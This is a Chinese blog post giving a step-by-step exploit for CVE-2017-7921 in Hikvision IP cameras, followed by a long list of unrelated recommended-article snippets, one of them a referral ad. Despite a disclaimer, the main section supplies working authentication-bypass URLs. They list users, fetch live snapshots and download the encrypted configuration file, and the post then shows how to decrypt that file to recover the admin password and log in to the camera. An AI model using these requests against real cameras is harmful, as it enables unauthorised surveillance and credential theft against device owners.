DBINGSEC
DBINGSEC

Hikvision海康威视摄像头CVE-2017-7921漏洞解析

注意—Hikvision海康威视摄像头CVE-2017-7921漏洞解析

此漏洞复现仅供学习参考，不涉及任何以破坏为目的的违法犯罪

漏洞影响版本

0x03 漏洞影响版本：

HikvisionDS-2CD2xx2F-ISeries5.2.0build140721

版本至5.4.0build160530版本；

DS-2CD2xx0F-ISeries5.2.0build140721

版本至5.4.0Build160401版本；

DS-2CD2xx2FWDSeries5.3.1build150410

版本至5.4.4Build161125版本；

DS-2CD4x2xFWDSeries5.2.0build140721

版本至5.4.0Build160414版本；

DS-2CD4xx5Series5.2.0build140721

版本至5.4.0Build160421版本；

DS-2DFxSeries5.2.0build140805

版本至5.4.5Build160928版本；

DS-2CD63xxSeries5.0.9build140305

版本至5.3.5Build160106版本

发现界面

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第1张图片

如图，如果想要登录则需要用户名和密码，但漏洞审查的时候发现这个海康威视有一个致命的漏洞CVE-2017-7921

漏洞利用

1.检索用户与用户列表

在web浏览器中输入以下代码来检索用户与用户列表

http://your-ip/Security/users?auth=YWRtaW46MTEK

your-ip换成你要测试的ip地址

浏览器输入结果如下图所示

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第2张图片

从上图可知，这个摄像头有且只有一个用户名:admin

2.获取监控快照

在没有进行身份验证的情况下获取监控快照可以使用以下代码在浏览器中打开

http://your-ip/onvif-http/snapshot?auth=YWRtaW46MTEK  //your-ip需要换成需破解摄像头的ip

your-ip换成你要测试的ip地址

浏览器输入结果如下图所示
Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第3张图片

3.下载摄像头配置账号密码文件

在没有验证的情况下需要使用如下代码来下载摄像头的配置文件

http://your-ip/System/configurationFile?auth=YWRtaW46MTEK  //your-ip需要换成要破解的ip

your-ip换成你要测试的ip地址

代码输入之后浏览器会自动下载一个名为configurationFile的文件，如下

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第4张图片

现在我们已经获取得到摄像头的配置文件

三：文件解密

1.配置文件解码

在上面我们已近得到了海康威视摄像头的配置文件了，但是配置文件是加密过的，我们没有办法从中直接得到密码。所以我们需要先将配置文件进行解密，这里我们需要用到一个专门的海康威视配置文件解密工具 下载地址 CSDN中下载 https://download.csdn.net/download/weixin_43343299/19788898

下载完成后，直接点开软件即可使用，界面如下
Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第5张图片

点击下图所示按钮打开配置文件

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第6张图片

打开配置文件，会弹出一个弹框，问你打开的文件是加密文件还是解密文件，我们打开的是加密文件，按照如下所示打开就行

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第7张图片

按照如下图所示顺序解密文件并保存
Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第8张图片

将得到的文件放到010editor里面，并使用ctrl+F 导出搜索框搜索admin

Hikvision海康威视摄像头CVE-2017-7921漏洞解析_第9张图片

四：登录验证

输入用户名密码，登录成功，说明破解是成功的

请添加图片描述

你可能感兴趣的:(渗透笔记,安全,web安全)

  • 去大山玩 赵迁越
    经过我和弟弟几天的软磨硬泡，爸爸终于同意带我和弟弟去大山玩。一路上欢歌笑语，凉凉的微风把我的心情也吹起来了！路越来越陡，山越来越高，风也越来越大。我们大口呼吸着山中的新鲜空气，欣赏着大山的巍峨气魄。我和弟弟来到单脚行走的木桩，比赛谁先到。爸爸负责我们的安全。我因为着急得第一，伤着一次，想退出比赛，爸爸鼓励我，不论输赢要坚持到底，我又有了信心，最后我赢得了这场比赛。我们恋恋不舍的下山了，回头望着越来
  • 医药医疗行业数字化转型数据架构设计方法论及典型案例 数字化建设方案 数字化转型数据治理主数据数据仓库大数据人工智能数据挖掘数据库架构
    医药医疗行业数字化转型数据架构设计方法论及典型案例医药医疗行业数字化转型数据架构设计方法论及典型案例数字化转型背景与趋势医药行业现状及挑战数字化转型必要性发展趋势与前景展望数据架构设计方法论数据架构概述及重要性设计原则与策略制定实施步骤与关键技术典型案例分析：某大型药企数据架构实践项目背景与目标设定数据架构规划与设计过程实施效果及经验总结面临的挑战与解决方案数据质量管理问题及对策数据安全防护策略部
  • 把背包丢过墙 小可乐的妈妈
    曾听过这样一个故事:当一个人背着包，跑向目的地时遇到了一面阻碍他去路的墙。他该怎么做？有一种人选择放弃，转身离开；而另一种人则选择把背包扔过墙，然后想办法，绕过或翻过这面墙。两种人，两种做法，体现了两种不同的思维模式，一种是确保稳妥后再行动的谨慎型，一种是不避艰险立即行动的果敢型。前者看起来更安全，也是多数人的选择；后者看起来很冒险，只有少数人会这么做。而要做成一件事，更高效的往往是后者。当一个人
  • 返利app排行榜！返利平台哪个佣金更高 桃朵app
    返利app排行榜！返利平台哪个佣金更高排名第一的是乖淘app。佣金高。模式好。第二是桃朵。稳定安全。本文作者：乖淘&创始人导师（26688）霸屏找乖淘！价格低效果好！专注网络推广20年，累积精准引流过千万。应用商店搜索下载乖淘，填写邀请码123456注册后，后台可以联系我，注册免费送运营商，送万元推广大礼包，送百度霸屏、强势引流技术！返利已经成为网购省钱的必备技能，返利App也是五花八门，越来越多
  • Docker mysql 配置文件读取失败 [Warning] World-writable config file ‘/etc/mysql/conf.d/my.cnf‘ is ignored. DN金猿 dockerdockermysql容器
    这个警告表明MySQL正在忽略/etc/mysql/conf.d/my.cnf这个配置文件，因为它被设置为了全世界可写。这个警告是基于安全性的考虑。当配置文件被设置为全世界可写时，任何人都可以修改它，这可能会导致安全风险，因为恶意用户可以更改MySQL的配置，从而影响数据库的行为和安全性。为了解决这个问题，你可以按照以下步骤进行操作：更改配置文件的权限：使用chmod命令将配置文件的权限设置为更安
  • 防火墙安全攻防：威胁洞察与防御策略解析 专家大圣 信息安全网络web安全安全
    摘要：随着信息技术的飞速发展，网络安全问题日益凸显。防火墙作为网络安全的重要防线，面临着各种攻击的威胁。本文详细探讨了防火墙可能遭受的攻击方式，包括常见的网络层攻击、应用层攻击等，并深入分析了相应的防御策略和技术，旨在为构建更加安全可靠的网络环境提供参考。目录一、引言二、防火墙概述三、防火墙攻击方式四、防火墙防御策略五、防火墙技术发展趋势六、结论一、引言在当今数字化时代，网络已经成为人们生活和工作
  • 亲子教育～态度问题 杨钥钥
    父母常常把孩子的能力问题视为态度问题，在孩子最需要帮助时给予打击和责罚。如认为孩子哭闹是脾气坏、任性，而不从孩子需要提升理性表达情绪的能力方面去理解；如孩子认生或被欺负是胆小、懦弱，而不想着去提升孩子的安全感、勇气和交往能力。这不仅无助问题解决，还容易导致孩子低自尊、低自我评价。把孩子的能力问题视为态度问题，多源于父母对孩子所处生长阶段的身心规律、特点缺乏了解和尊重，拿孩子当“大人”，甚至“圣人”
  • 什么是端点安全 ManageEngine卓豪 终端管理终端安全终端安全端点安全
    端点安全是网络安全策略的重要组成部分，侧重于保护网络中的各个设备（端点）免受各种网络威胁和未经授权的访问。通过实施全面的端点安全解决方案，可以降低与恶意软件感染、数据泄露、网络钓鱼攻击和内部威胁等相关风险。什么是端点端点包括各种设备，包括：笔记本电脑台式电脑移动设备（如智能手机和平板电脑）服务器IoT设备销售点系统数字打印机每个端点都是网络漏洞和破坏网络安全的潜在切入点。为什么需要端点安全端点安全
  • 什么是日志分析 ManageEngine卓豪 日志管理日志分析日志管理
    日志分析（或日志文件分析）是检查整个网络生成的日志数据的过程，日志数据从各种来源生成，包括外围设备、工作站、服务器、应用程序以及其他硬件和软件组件，集中收集并分析这些信息，可以更好地理解网络运行、排除故障、维护网络安全。如何分析日志文件执行日志分析可以通过两种方式完成：手动筛选日志数据或使用日志分析工具。手动日志分析手动日志分析涉及个人或团队对日志文件进行物理检查，由于日志数据的数量和复杂性，这可
  • 计算机三级数据库---基础篇 沐硕 数据库
    适合考前14天以上的小伙伴按照以下章节进行详细学习第一章数据库应用系统开发方法选择题第二章需求分析选择题第三章数据库结构设计（自底向上）选择题第四章数据库应用系统功能设计与实现选择题第五章UML与数据库应用系统填空+选择第六章高级数据查询填空题第七章数据库及数据库对象大题第八章数据库后台编程技术填空题第九章安全管理选择题第十章数据库运行维护与优化填空+选择第十一章故障管理选择题第十二章备份与恢复数
  • 疫苗●天堂 严意军TOMATO
    (关注微信号：tomatoqq)这个周末被疫苗之王刷屏，翻开小孩的疫苗本，有这家公司疫苗的接种记录，但中彩没有就不知道了。这段时间遇到装修公司携款跑路，项目经理敲诈、威胁业主安全，比起假疫苗事件太微乎其微了。这里国泰民安、社会和谐，不但是大家的幸福天堂，也是政客和商客的醉美天堂，遇事总能大事化小、小事化了。就像贾跃亭跑了，转个身就有人来送钱，又是一个大牛。儿童节的礼物——宝宝们的明天会更好疫苗之王
  • 设计模式（四）：创建型设计模式 这里用来记录
    一、单例模式1.为什么要使用单例？单例设计模式（SingletonDesignPattern）理解起来非常简单。一个类只允许创建一个对象（或者实例），那这个类就是一个单例类，这种设计模式就叫作单例设计模式，简称单例模式。如何实现一个单例1.饿汉式在类加载的时候，instance静态实例就已经创建并初始化好了，所以，instance实例的创建过程是线程安全的。不过，这样的实现方式不支持延迟加载pub
  • C++设计模式---单例模式 xinruoqianqiu 设计模式c++设计模式单例模式
    1、介绍单例模式（SingletonPattern）是一种创建型设计模式，它确保一个类只有一个实例，并提供一个全局访问点来获取这个唯一实例。这种模式在多线程环境中需要特别注意线程安全，并且应该避免在析构时产生问题（如产生死锁）。思考：如何绕过常规的构造函数，提供一种机制来保证一个类只有一个实例。解决过程：（1）要实现单例模式，先把构造函数私有化。私有化带来的问题是：外部不可以定义对象，即不可以从外
  • 陪玩系统怎么保证安全性和隐私保护呢？有现成系统可打包App小程序H5公众号，源码交付支持二开 yuanmaxiaoxiao webapp微信小程序
    陪玩系统在保证安全性和隐私保护方面，通常会采取一系列综合性的措施来确保用户的个人信息和游戏账号安全。以下是一些主要的措施：一、加强数据加密与存储安全数据加密：对用户的敏感数据（如个人信息、支付信息、聊天记录等）进行加密处理，使用业界认可的加密算法（如SSL/TLS加密传输）来保护数据在传输和存储过程中的安全性。安全存储：将用户数据存储于安全隔离的服务器上，防止未经授权的访问和数据泄露。这些服务器通
  • 非关系型数据库Redis部署与常用命令 Fang_Qianling 非关系型数据库Redisredis
    前言Redis是一个高性能的开源内存数据库，常用于缓存、会话存储和实时数据处理，它是一款非关系型数据库。在生产环境中，Redis通过将数据存储在内存中以及支持多种数据结构，提供了快速的读写能力，并且可通过持久化功能确保数据安全。其作为消息代理系统还能支持发布/订阅模式，使得它成为构建实时通信和事件驱动架构的理想选择。目录一、关系数据库与非关系型数据库1.关系型数据库2.非关系型数据库3.区别二、R
  • 【2012Esri中国用户大会讲座】ArcGIS 10.1 for Server 安全机制（5）数据库集成安全... iteye_8029 数据库
    1常见用户需求在发布和使用GIS服务的过程中，经常会遇到如下的一些需求：1)同一个服务，不同用户访问不同的图层2)同一个图层，只允许个别用户进行编辑3)图层中包含的敏感信息，只允许少数用户访问4)图层中的特殊字段，只允许个别用户编辑5)同一个图层，不同部门的用户只能访问相关的要素6)……这是很常见的一些服务安全控制需求，针对这些需求，ArcGIS提供了完整的解决方案—数据库集成安全。2数据库集成安
  • 深入剖析webrtc事件机制 sigslot 头快撑不住了 源码解析webrtcwebrtc音视频
    一、什么是信号槽在构建大型C++项目过程中，如何在各个类之间高效且安全地传递数据或事件是一项具有挑战性的任务。最直接但并不推荐的方法是使用全局变量。虽然这种方法简单易用，但它会导致命名冲突，难以维护，且全局变量的值容易在不知情的情况下被意外修改。另一种常见的方式是使用回调函数。在这种情况下，类A会注册类B的回调函数。然而，这种方法的缺点在于对象的声明周期难以控制，经常会出现回调函数触发时，对象已经
  • Spring中常见的设计模式 苓风星河 设计模式javaspring
    Spring中常见的设计模式1、Java设计模式设计模式（DesignPattern）是解决特定问题的一系列套路。它不是语法规定，而是一套用来提高代码可复用性、可维护性、可读性、稳健性以及安全性的解决方案。早在1995年，GOF合作出版了《设计模式：可复用面向对象软件的基础》一书，共收录了23种设计模式，人称「GoF设计模式」。这23种设计模式的本质是面向对象设计原则的实际运用，是对类的封装性、继
  • 享受最后一天假期生活 鹰荻
    今天是我春节假期的最后一天，明天就该上班了。图片发自App放松了十天的时间，虽然中间偶然加班，但总体还是处于休假状态，比较慵懒。今天，上班前的最后一天，思想上不由就收紧了。把自己的工作服整理摆放好，胸牌挂好，闹钟调整好。图片发自App然后电话布置好明天一早的工作，约好集合时间和地点，与现场安全巡查组的人员一起，进行节后安全隐患排查和检查工作。为了确保安全，我们检查一般是7:30前开始，在大家上班前
  • 必看！微信小程序必备证书！ pemper_ SSL微信小程序小程序ssl网络协议网络https
    微信小程序必备SSL证书。在日益增长的数字经济中，微信小程序已成为商家与消费者之间重要的交互平台。由于其便捷性和广泛的用户基础，越来越多的企业选择通过小程序来提供服务。然而，在开发和部署微信小程序时，确保数据安全是一个不可忽视的环节，安装SSL证书是其中的关键步骤。1、HTTPS支持：确保你的服务器配置了有效的SSL证书，支持HTTPS协议。这是微信小程序能够成功发起网络请求的基础。2、证书的有效
  • 雨天出行，注意安全 孟冬廿六
    今天凌晨一点多，突然电闪雷鸣，紧接着狂风大作，雷声好像在空中炸开了锅，震得门窗都轰鸣作响。二十来分钟之后大雨倾盆而下，打在窗户上劈啪作响，大风吹的树枝左右摇摆好像要折断一般。这样的大雨下了有大半个小时，然后慢慢小了，结果没一会儿又是一阵，就这样下下停停，停停下下，一直到天亮。早上出门路上的车堵的已经不像样，因为大雨还在持续不断地下着，所以大家车速都比较慢。后来看朋友圈发现好多地方都下了大冰雹，还有
  • Java整体基础知识体系图 神州永泰 java编程语言大数据javaspringmysql
    一java介绍‌Java是一种高级编程语言，由SunMicrosystems公司于1995年推出。‌Java具有跨平台性、面向对象、健壮性、安全性、可移植性等特点，被广泛应用于企业级应用开发、移动应用开发、大数据处理、云计算等领域。Java程序可以在不同的操作系统上运行，只需编译一次，就可以在任何支持Java虚拟机(JVM)的平台上运行，这得益于Java的“一次编写，随处运行”的特性。Java是面
  • 最赚钱网络拉新项目非原力元宇宙莫属 口碑信息传播者
    在数字化浪潮汹涌的今天，网络拉新项目层出不穷，但真正能够颠覆传统、引领未来的项目却寥寥无几。而原力元宇宙，就是这样一个引人注目的存在。它不仅提供了一个安全、去中心化的平台，更让每一个参与者都能在这里赚取真金白银，享受前所未有的网络拉新体验。13分钟视频内容讲明白原力元宇宙创富项目，中国区运营服务对接微信：ForceZen在原力元宇宙中，你的所有个人信息都是安全的。这是一个去中心化的DAPP，它摒弃
  • 专业监理工程师职责2023-04-14 功能美
    专业监理工程师职责：【12条】1、参与编制监理规划、负责编制监理实施细则；2、审查施工单位提交的涉及本专业的报审文件，并向总监理工程师报告；3、参与审核分包单位资格；4、指导、检查监理员工作，定期向总监理工程师报告本专业监理工作实施情况；5、检查进场的工程材料、构配件、设备的质量；6、验收检验批、隐蔽工程、分项工程，参与验收分部工程；7、处置发现的质量问题和安全事故隐患；8、进行工程计量；9、参与
  • 我的奇思妙想 姬磨小学杜巧改
    我之前认为，房子是不能动的，所以我认为以后的房子要有所改变。因为孩子们上学，家长上班，出去旅游，都不知道家里发生了什么事，是安全还是危险。不过这样的房子可以解除这个顾虑。我的惊爆最新发明“会飞的房子”这种房子跟地面上的房子没有什么两样，但是屋外却别有洞天，房顶上有三个螺旋桨，像直升飞机一样，而且这种房子不需要方向盘，只需要动动嘴巴，蓝牙接收到你说话就可以照你说的地方开去，而且里面还有机器人管家，只
  • Nginx负载均衡中实现HTTP/2：配置指南与最佳实践 2401_85743969 nginx负载均衡http
    HTTP/2是HTTP协议的第二个主要版本，旨在通过减少延迟和提高传输效率来改进Web性能。Nginx支持HTTP/2，并且可以配置为在负载均衡器中使用它，从而为终端用户提供更快的页面加载时间和更好的用户体验。本文将详细介绍如何在Nginx负载均衡中实现HTTP/2，包括配置步骤、性能优化和安全性考虑。1.HTTP/2的基本概念HTTP/2基于SPDY协议，提供了头部压缩、多路复用、服务器推送等特
  • 把http网站变成https pemper_ SSLhttphttps网络协议ssl网络
    网站建设好后默认是HTTP网站，会被浏览器直接标注为不安全站点，甚至搜索引擎上也排名也不是那么出色。HTTP协议是浏览网站和在线资源的基本协议。由于HTTP的连接未加密，因此往往不安全。HTTPS是默认HTTP协议的安全扩展。访问HTTPS网站时，所有浏览器请求和服务器响应都经过安全加密。这可以防止任何有权访问网络的人拦截连接、修改连接或窃取其信息。网站变成HTTPS方法1、打开JoySSL官网，
  • 架构设计（13）安全架构设计理论 CoderIsArt 架构设计研究安全架构安全
    网络安全设计网络安全架构设计是为了保护信息系统免受各种网络攻击和威胁而进行的系统化设计。它涉及设计网络基础设施、配置安全控制、制定安全策略，以及实施和维护这些策略，以确保数据的机密性、完整性和可用性。下面是网络安全架构设计的详细内容，包括关键组件、设计原则和实际案例。1.网络安全架构设计的关键组件1.1网络边界保护防火墙：用于过滤网络流量，根据设定的安全规则允许或阻止数据包进入或离开网络。分为传统
  • JAVA AES加密方式（AES-128-CBC） 帅哥与六便士 java安全开发语言
    记录下最近学到的加密方式。废话少说，直接上菜。首先，AES是对称性加密，加密解密使用的密钥是一样的。其次，AES-128-CBC模式加密，要求密钥key和偏移量IV的长度要一致，且长度都是16才可以加密。中间进行加密。最后，为了提高安全性，可以再进行一次base64编码。packageutils;importjavax.crypto.Cipher;importjavax.crypto.spec.I
  • 常见Java集合 人才瘾大 java数据结构哈希算法
    1.fail-fast和fail-safe机制fail-fast(快速失败)和fail-safe(安全失败)是两种在遍历集合时处理并发修改的策略。1.1.fail-fast机制遍历集合时，如果发现集合被修改（除了通过迭代器自身的remove方法），会立即抛出ConcurrentModificationException异常。这种机制的目的是快速检测到不一致性并报告错误。如，使用ArrayList时
  • HQL之投影查询 归来朝歌 HQLHibernate查询语句投影查询
            在HQL查询中，常常面临这样一个场景，对于多表查询，是要将一个表的对象查出来还是要只需要每个表中的几个字段，最后放在一起显示？ 针对上面的场景，如果需要将一个对象查出来： HQL语句写“from 对象”即可 Session session = HibernateUtil.openSession();
  • Spring整合redis bylijinnan redis
    pom.xml <dependencies> <!-- Spring Data - Redis Library --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redi
  • org.hibernate.NonUniqueResultException: query did not return a unique result: 2 0624chenhong Hibernate
    参考：http://blog.csdn.net/qingfeilee/article/details/7052736 org.hibernate.NonUniqueResultException: query did not return a unique result: 2         在项目中出现了org.hiber
  • android动画效果 不懂事的小屁孩 android动画
    前几天弄alertdialog和popupwindow的时候，用到了android的动画效果，今天专门研究了一下关于android的动画效果，列出来，方便以后使用。 Android 平台提供了两类动画。 一类是Tween动画，就是对场景里的对象不断的进行图像变化来产生动画效果（旋转、平移、放缩和渐变）。 第二类就是 Frame动画，即顺序的播放事先做好的图像，与gif图片原理类似。
  • js delete 删除机理以及它的内存泄露问题的解决方案 换个号韩国红果果 JavaScript
    delete删除属性时只是解除了属性与对象的绑定，故当属性值为一个对象时，删除时会造成内存泄露  （其实还未删除） 举例： var person={name:{firstname:'bob'}} var p=person.name delete person.name p.firstname -->'bob' // 依然可以访问p.firstname，存在内存泄露
  • Oracle将零干预分析加入网络即服务计划 蓝儿唯美 oracle
    由Oracle通信技术部门主导的演示项目并没有在本月较早前法国南斯举行的行业集团TM论坛大会中获得嘉奖。但是，Oracle通信官员解雇致力于打造一个支持零干预分配和编制功能的网络即服务（NaaS）平台，帮助企业以更灵活和更适合云的方式实现通信服务提供商（CSP）的连接产品。这个Oracle主导的项目属于TM Forum Live!活动上展示的Catalyst计划的19个项目之一。Catalyst计
  • spring学习——springmvc（二） a-john springMVC
    Spring MVC提供了非常方便的文件上传功能。 1，配置Spring支持文件上传： DispatcherServlet本身并不知道如何处理multipart的表单数据，需要一个multipart解析器把POST请求的multipart数据中抽取出来，这样DispatcherServlet就能将其传递给我们的控制器了。为了在Spring中注册multipart解析器，需要声明一个实现了Mul
  • POJ-2828-Buy Tickets aijuans ACM_POJ
    POJ-2828-Buy Tickets http://poj.org/problem?id=2828 线段树，逆序插入 #include<iostream>#include<cstdio>#include<cstring>#include<cstdlib>using namespace std;#define N 200010struct
  • Java Ant build.xml详解 asia007 build.xml
    1,什么是antant是构建工具2,什么是构建概念到处可查到，形象来说，你要把代码从某个地方拿来，编译，再拷贝到某个地方去等等操作，当然不仅与此，但是主要用来干这个3,ant的好处跨平台   --因为ant是使用java实现的，所以它跨平台使用简单--与ant的兄弟make比起来语法清晰--同样是和make相比功能强大--ant能做的事情很多，可能你用了很久，你仍然不知道它能有
  • android按钮监听器的四种技术 百合不是茶 androidxml配置监听器实现接口
    android开发中经常会用到各种各样的监听器,android监听器的写法与java又有不同的地方;    1,activity中使用内部类实现接口 ,创建内部类实例  使用add方法  与java类似   创建监听器的实例 myLis lis = new myLis();   使用add方法给按钮添加监听器  
  • 软件架构师不等同于资深程序员 bijian1013 程序员架构师架构设计
            本文的作者Armel Nene是ETAPIX Global公司的首席架构师，他居住在伦敦，他参与过的开源项目包括 Apache Lucene,，Apache Nutch， Liferay 和 Pentaho等。         如今很多的公司
  • TeamForge Wiki Syntax & CollabNet User Information Center sunjing TeamForgeHow doAttachementAnchorWiki Syntax
    the CollabNet user information center http://help.collab.net/   How do I create a new Wiki page? A CollabNet TeamForge project can have any number of Wiki pages. All Wiki pages are linked, and
  • 【Redis四】Redis数据类型 bit1129 redis
    概述 Redis是一个高性能的数据结构服务器，称之为数据结构服务器的原因是，它提供了丰富的数据类型以满足不同的应用场景，本文对Redis的数据类型以及对这些类型可能的操作进行总结。 Redis常用的数据类型包括string、set、list、hash以及sorted set.Redis本身是K/V系统，这里的数据类型指的是value的类型，而不是key的类型，key的类型只有一种即string
  • SSH2整合-附源码 白糖_ eclipsespringtomcatHibernateGoogle
    今天用eclipse终于整合出了struts2+hibernate+spring框架。 我创建的是tomcat项目，需要有tomcat插件。导入项目以后，鼠标右键选择属性，然后再找到“tomcat”项，勾选一下“Is a tomcat project”即可。具体方法见源码里的jsp图片，sql也在源码里。     补充1：项目中部分jar包不是最新版的，可能导
  • [转]开源项目代码的学习方法 braveCS 学习方法
    转自： http://blog.sina.com.cn/s/blog_693458530100lk5m.html http://www.cnblogs.com/west-link/archive/2011/06/07/2074466.html   1）阅读features。以此来搞清楚该项目有哪些特性2）思考。想想如果自己来做有这些features的项目该如何构架3）下载并安装d
  • 编程之美-子数组的最大和（二维） bylijinnan 编程之美
    package beautyOfCoding; import java.util.Arrays; import java.util.Random; public class MaxSubArraySum2 { /** * 编程之美 子数组之和的最大值（二维） */ private static final int ROW = 5; private stat
  • 读书笔记-3 chengxuyuancsdn jquery笔记resultMap配置ibatis一对多配置
    1、resultMap配置 2、ibatis一对多配置 3、jquery笔记 1、resultMap配置 当<select resultMap="topic_data"> <resultMap id="topic_data">必须一一对应。 (1)<resultMap class="tblTopic&q
  • [物理与天文]物理学新进展 comsci
          如果我们必须获得某种地球上没有的矿石,才能够进行某些能量输出装置的设计和建造,而要获得这种矿石,又必须首先进行深空探测,而要进行深空探测,又必须获得这种能量输出装置,这个矛盾的循环,会导致地球联盟在与宇宙文明建立关系的时候,陷入困境       怎么办呢?  
  • Oracle 11g新特性:Automatic Diagnostic Repository daizj oracleADR
    Oracle Database 11g的FDI（Fault Diagnosability Infrastructure）是自动化诊断方面的又一增强。 FDI的一个关键组件是自动诊断库（Automatic Diagnostic Repository-ADR）。 在oracle 11g中，alert文件的信息是以xml的文件格式存在的，另外提供了普通文本格式的alert文件。 这两份log文
  • 简单排序:选择排序 dieslrae 选择排序
    public void selectSort(int[] array){ int select; for(int i=0;i<array.length;i++){ select = i; for(int k=i+1;k<array.leng
  • C语言学习六指针的经典程序，互换两个数字 dcj3sjt126com c
    示例程序，swap_1和swap_2都是错误的，推理从1开始推到2，2没完成，推到3就完成了 # include <stdio.h> void swap_1(int, int); void swap_2(int *, int *); void swap_3(int *, int *); int main(void) { int a = 3; int b =
  • php 5.4中php-fpm 的重启、终止操作命令 dcj3sjt126com PHP
    php 5.4中php-fpm 的重启、终止操作命令: 查看php运行目录命令：which php/usr/bin/php 查看php-fpm进程数：ps aux | grep -c php-fpm 查看运行内存/usr/bin/php  -i|grep mem 重启php-fpm/etc/init.d/php-fpm restart 在phpinfo()输出内容可以看到php
  • 线程同步工具类 shuizhaosi888 同步工具类
    同步工具类包括信号量（Semaphore）、栅栏（barrier）、闭锁（CountDownLatch）   闭锁（CountDownLatch） public class RunMain { public long timeTasks(int nThreads, final Runnable task) throws InterruptedException { fin
  • bleeding edge是什么意思 haojinghua DI
    不止一次，看到很多讲技术的文章里面出现过这个词语。今天终于弄懂了——通过朋友给的浏览软件，上了wiki。  我再一次感到，没有辞典能像WiKi一样，给出这样体贴人心、一清二楚的解释了。为了表达我对WiKi的喜爱，只好在此一一中英对照，给大家上次课。   In computer science, bleeding edge is a term that
  • c中实现utf8和gbk的互转 jimmee ciconvutf8&gbk编码
    #include <iconv.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> int code_c
  • 大型分布式网站架构设计与实践 lilin530 应用服务器搜索引擎
    1.大型网站软件系统的特点？ a.高并发，大流量。 b.高可用。 c.海量数据。 d.用户分布广泛，网络情况复杂。 e.安全环境恶劣。 f.需求快速变更，发布频繁。 g.渐进式发展。 2.大型网站架构演化发展历程？ a.初始阶段的网站架构。 应用程序，数据库，文件等所有的资源都在一台服务器上。 b.应用服务器和数据服务器分离。 c.使用缓存改善网站性能。 d.使用应用
  • 在代码中获取Android theme中的attr属性值 OliveExcel androidtheme
    Android的Theme是由各种attr组合而成, 每个attr对应了这个属性的一个引用, 这个引用又可以是各种东西.   在某些情况下, 我们需要获取非自定义的主题下某个属性的内容 (比如拿到系统默认的配色colorAccent), 操作方式举例一则: int defaultColor = 0xFF000000; int[] attrsArray = { andorid.r.
  • 基于Zookeeper的分布式共享锁 roadrunners zookeeper分布式共享锁
    首先，说说我们的场景，订单服务是做成集群的，当两个以上结点同时收到一个相同订单的创建指令，这时并发就产生了，系统就会重复创建订单。等等......场景。这时，分布式共享锁就闪亮登场了。   共享锁在同一个进程中是很容易实现的，但在跨进程或者在不同Server之间就不好实现了。Zookeeper就很容易实现。具体的实现原理官网和其它网站也有翻译，这里就不在赘述了。   官
  • 两个容易被忽略的MySQL知识 tomcat_oracle mysql
    1、varchar(5)可以存储多少个汉字，多少个字母数字？ 　　相信有好多人应该跟我一样，对这个已经很熟悉了，根据经验我们能很快的做出决定，比如说用varchar(200)去存储url等等，但是，即使你用了很多次也很熟悉了，也有可能对上面的问题做出错误的回答。 　　这个问题我查了好多资料，有的人说是可以存储5个字符，2.5个汉字（每个汉字占用两个字节的话），有的人说这个要区分版本，5.0
  • zoj 3827 Information Entropy(水题) 阿尔萨斯 format
    题目链接：zoj 3827 Information Entropy 题目大意：三种底，计算和。 解题思路：调用库函数就可以直接算了，不过要注意Pi = 0的时候，不过它题目里居然也讲了。。。limp→0+plogb(p)=0，因为p是logp的高阶。 #include <cstdio> #include <cstring> #include <cmath&
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他